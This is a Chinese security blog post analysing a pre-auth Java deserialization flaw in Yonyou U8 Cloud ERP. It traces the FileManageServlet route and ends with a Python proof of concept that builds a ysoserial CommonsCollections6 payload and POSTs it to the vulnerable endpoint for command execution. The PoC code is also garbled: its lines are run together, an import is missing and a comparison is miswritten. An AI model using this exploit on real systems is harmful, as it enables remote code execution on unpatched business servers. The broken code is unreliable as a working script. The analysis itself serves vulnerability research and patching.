用友U8 Cloud 反序列化漏洞

admin 2023年11月7日21:44:48评论207 views字数 3768阅读12分33秒阅读模式

写在前面

   

    用友U8 cloud反序列化漏洞是一个前台的反序列化漏洞,这篇文章有保姆级别环境搭建与漏洞分析、POC等,感谢World师傅投稿分享。


目录


0x01 影响版本0x02 环境搭建0x03 漏洞分析0x04 参考0x05 总结

用友U8 Cloud 反序列化漏洞




影响版本

U8CLOUD v1.0-v3.6 U8CLOUD v3.6sp-v5.0

环境搭建

安装,在下载的文件中有一个安装指南 然后跟着安装指南按照到下图这个位置就行了

用友U8 Cloud 反序列化漏洞

安装到这个位置后就直接不用管了

然后访问http: ip:port/ 这里的port为安装时候设置的显示这样就是可以了

用友U8 Cloud 反序列化漏洞


漏洞分析

这个漏洞是通过官网的漏洞补丁和前两天发布的漏洞通告进行分析的

https://security.yonyou.com/%23/patchInfo?foreignKey=774c7e1f220a411dbd8eb3382c4797d5https://x.threatbook.com/v5/article?threatInfoID=95159

我们先来看一下漏洞通告

漏洞通告中可以看到对应的漏洞请求路径

用友U8 Cloud 反序列化漏洞

后看一下官网的补丁包

这里通过官网的补丁包 可以确定漏洞位置在FileManageServlet文件里面 然后我们就打开文件对比工具看一下

这里记住要用idea打开class文件 或者其他工具反编译class文件 在复制出去对比 不要直接使用java文件

用友U8 Cloud 反序列化漏洞

这里哪怕你不去细看代码的作用也能看出漏洞点是在下面的readobject的位置,而官方修复则是加了一个内部方法,这个方法的作用应该是通过if判断进行了筛选(感兴趣的可以自己细看一下)

用友U8 Cloud 反序列化漏洞

那我们就打开这个文件看一下

这里可以明显看出我们只要传入一个危险的request参数,然后他就会通过getinputstream()方法来获取这个传参的date

用友U8 Cloud 反序列化漏洞

好那么我们这里知道了只要通过post传参进入到这个方法 那么就会触发readObject()方法 然后就能进行反序列化,达到命令执行的效果

用友U8 Cloud 反序列化漏洞

然后我们来看一下哪个位置调用了这个方法

搜索了一下 发现只有一个地方调用了这个方法 但是这里的传参类型不同 因此不是调用的这个方法

用友U8 Cloud 反序列化漏洞

那么我们就换个思路,来看看路由

在通告中我们得知 这个漏洞的路由为 /servlet/~uap/nc.impl.pub.filesystem.FileManageServlet

那我们就来看一下

找了一会只找到了/servlet/的路由 我们进去看一下把

用友U8 Cloud 反序列化漏洞

这里看到了路由的对应请求类进去看一下

用友U8 Cloud 反序列化漏洞

进来后可以看到里面有一个doPost和doGet方法 都调用了doAction方法 那我们就看一下这个doAction

用友U8 Cloud 反序列化漏洞

这里第一条语句是获取request请求的url路径

用友U8 Cloud 反序列化漏洞

通过gpt我们可以得知会获取到servlet路径后面的部分

用友U8 Cloud 反序列化漏洞

这里我们得知pathInfo肯定不为空所以跳过if 然后trim方法是对获取到的路径进行左右去空

用友U8 Cloud 反序列化漏洞

用友U8 Cloud 反序列化漏洞

这里对路径进行了if判断 如果路径为/~开头那么就进入if,这里显然是进入if

用友U8 Cloud 反序列化漏洞

这里主要是做了一个字符串切割的操作,先是对路径进行切割 把/~这两个开头的字符串切割掉,然后得到

uap/nc.impl.pub.filesystem.FileManageServlet

然后在对得到的这个字符串进行切割 把nc.impl.pub.filesystem.FileManageServlet这部分字符串赋值给

serviceName把uap这部分赋值给moduleName

用友U8 Cloud 反序列化漏洞

上面这个因为知道上面进行了赋值所以不进入if 不管

下面这个可以看到先进行字符串切割,切割因为字符串中没有/符号所以这里是-1,然后进行了if判断,但是这个可以看到因为

beginIndex等于-1 所以第二条条件是不满足的因此不进入if

用友U8 Cloud 反序列化漏洞

这里又进行了字符串切割上面因为beginIndex等于-1,因此这里的字符串切割等于没切割 所以不管,然后我们看一下这个调用的方法

这里可以得知 serviceName = nc.impl.pub.filesystem.FileManageServlet moduleName = uap

用友U8 Cloud 反序列化漏洞

这里可以明显看到进来后是使用serviceObjMap.get方法 传入 uap:nc.impl.pub.filesystem.FileManageServlet

参数 然后获取了一个对象如果没有获取到这个对象那么就会通过反射的方法创建serviceName这个参数的一个对象

而serviceName这个参数则是nc.impl.pub.filesystem.FileManageServlet 那么这个参数正好是漏洞点的那个文件的类

用友U8 Cloud 反序列化漏洞

用友U8 Cloud 反序列化漏洞

我们还是来看一下serviceObjMap.get方法

这里可以看到是声明了一个内部静态属性,而且在init()实例化方法中使用了clear方法 进行清除内容

用友U8 Cloud 反序列化漏洞

这里我们可以得知 obj变量为FileManageServlet的类实例 类型为Object,因此不进入这个if判断,因为这个if判断是判断obj是否为Servlet类型

用友U8 Cloud 反序列化漏洞

也不进入else if 最后进入到else中

用友U8 Cloud 反序列化漏洞

这里可以看到进行了if判断 因为不为空所以不管, 然后就是获取了一个反射类

用友U8 Cloud 反序列化漏洞

然后使用反射类调用了getDeclaredMethod方法也就是获取了FileManageServlet类的指定方法 这里是获取了doAction方法并且传入的参数类型也设置为了request和response的对应类型

用友U8 Cloud 反序列化漏洞

这里上面不管 然后下面这条就比较明显了,这里是调用了doAction这个方法传入的参数为传入当前方法的参数

用友U8 Cloud 反序列化漏洞

我们现在在返回上面看一下、

这里可以看到可以用get传也可以用post传,但是因为在FileManageServlet方法里面使用了

request.getInputStream()方法获取参数,因此这里只能用post进行传参

用友U8 Cloud 反序列化漏洞

漏洞位置和触发到这里就搞定了,我们接下来 来找一下反序列化的链子直接搜索commons

这里可以看到有commons-collections-3.2.1版本

用友U8 Cloud 反序列化漏洞

我这里借鉴了su18大佬的文章

Java反序列化漏洞(二) - Commons Collections | 素十八 (su18.org)https://su18.org/post/ysoserial-su18-2/

这个版本是可以直接使用cc6链的

用友U8 Cloud 反序列化漏洞


那么我们只要通过/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet这个路由 然后post请求传入反序列化的二进制数据 就可以进行命令执行了

这里我们用ysoserial工具,这里有一个小坑

因为我们这个漏洞是没有base64编码的 所以如果你直接使用这个工具来打印出内容那么就会乱码

用友U8 Cloud 反序列化漏洞

这样你肯定是用不了的,如果你使用python打印出来

用友U8 Cloud 反序列化漏洞

就会是这个样子,还是用不了

那么这里就需要直接使用python获取到二进制数据后直接发送了

poc

import requests
def run_command(command): try:    result = subprocess.run([r'java路径', '-jar', r'ysoserial工具路径', 'CommonsCollections6',command], capture_output=True) output = result.stdout # 获取标准输出结果 error = result.stderr
if error is not None: error = error.strip() if result.returncode = 0:  return output else: return f"Error: {error}"   except Exception as e: return str(e)
# 在命令行中执行 "calc" 命令并获取结果command_output = run_command("calc")
url = "http: 192.168.168.129:8088/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet" status = requests.post(url,data=command_output).status_codeprint(status)

那么使用python进行请求就可以成功利用了 

用友U8 Cloud 反序列化漏洞


参考

https://x.threatbook.com/v5/article?threatInfoID=95159https://security.yonyou.com/#/patchInfoforeignKey=774c7e1f220a411dbd8eb3382c4797d5


总结

这个漏洞是我第一次1day分析中间还是卡了一阵子的,导致晚了1周,不算新鲜,还是学到一些东西,总体来说还是比较简单的反序列化漏洞




写在最后

     本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

原文始发于微信公众号(云下信安):用友U8 Cloud 反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月7日21:44:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友U8 Cloud 反序列化漏洞http://cn-sec.com/archives/2182384.html

发表评论

匿名网友 填写信息